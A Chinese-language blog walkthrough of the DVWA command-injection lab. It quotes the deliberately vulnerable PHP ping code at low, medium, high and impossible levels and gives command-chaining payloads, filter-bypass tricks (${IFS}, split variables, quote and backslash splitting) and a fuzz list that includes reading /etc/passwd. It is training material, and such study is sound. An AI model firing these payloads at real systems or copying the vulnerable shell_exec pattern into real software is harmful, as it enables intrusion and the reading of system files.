【DVWA】Command Injection(命令注入)通關教程



日期:2019-08-01 16:05:34
更新:
作者:Bay0net
介紹:利用命令注入,來復習了一下繞過過濾的方法,還可以寫一個字典來 fuzz 命令注入的點。


0x01、 漏洞介紹

僅僅需要輸入數據的場合,卻伴隨着數據同時輸入了惡意代碼,而裝載數據的系統對此並未設計良好的過濾過程,導致惡意代碼也一並執行,最終導致信息泄露或者正常數據的破壞。

用戶的一切輸入都是不可信的。

0x02、Low Security Level

查看源碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

分析代碼

獲取 IP 的值,直接傳參使用 shell_exec 執行。

  • Windows 的話執行 ping 命令。
  • linux 的話,執行 ping -c 4 命令。

payload 如下,關於管道符的相關命令,見文末。

127.0.0.1;ifconfig
127.0.0.1&ifconfig
127.0.0.1&&ifconfig
127.0.0.1|ifconfig
x||ifconfig

0x03、Medium Security Level

查看源碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

分析源碼

過濾了 &&;,用其他的可以繼續執行。

0x04、High Security Level

查看源碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

分析源碼

過濾的是 |,有個空格,所以可以使用不帶空格的 payload 。

127.0.0.1|ifconfig

0x05、Impossible Security Level

查看源碼

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

分析源碼

  • 使用 user_token,來過濾請求
  • 把傳來的參數分割(以.為分隔符),如果分割出來的東西,不是數字,就報錯。

沒想到有什么辦法能繞過,可能真的是 impossible 的了。。

0x06、相關知識

關於管道符

linux 中的管道符

# &  表示任務在后台執行,如要在后台運行 redis-server
redis-server &

# && 表示前一條命令執行成功時,才執行后一條命令 ,如 
echo '1' && echo '2'

# | 表示管道,上一條命令的輸出,作為下一條命令參數,如
echo 'yes' | wc -l

# || 表示上一條命令執行失敗后,才執行下一條命令,如
cat nofile || echo "fail"

關於繞過(空格、拼接、單雙引號)

繞過空格

利用 < 來繞過,只能讀文件
cat<flag
cat<>flag

利用 ${IFS} 繞過
ls${IFS}./tmp
cat${IFS}/tmp/1.txt

利用 $IFS$9、${IFS}$9 也可以繞過,和上面的一樣

拼接繞過

ls 的變形
a=l;b=s;$a$b

uname -a 的變形
a=una;b=me$IFS$9-a;$a$b

cat /tmp/flag
a=ca;b=t$IFS$9/tm;c=p/fla;d=g.txt;$a$b$c$d

單雙引號反斜杠

c''at fl""ag
c\at fl\ag

對應

${PS2} 對應字符 ‘>’
${PS4} 對應字符 ‘+’
${IFS} 對應 內部字段分隔符
${9} 對應 空字符串

fuzz 字典

&ifconfig
&&ifconfig
&&&ifconfig
&&&&ifconfig
|ifconfig
||ifconfig
|||ifconfig
||||ifconfig
;ifconfig
;;ifconfig
& ifconfig
&& ifconfig
| ifconfig
|| ifconfig
; ifconfig
&${IFS}ifconfig
&&${IFS}ifconfig
|${IFS}ifconfig
||${IFS}ifconfig
;${IFS}ifconfig
a=if;b=config;$a$b
a=una;b=me$IFS$9-a;$a$b
c\at /et\c/pa\sswd
c''at /e""tc/pas""swd


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM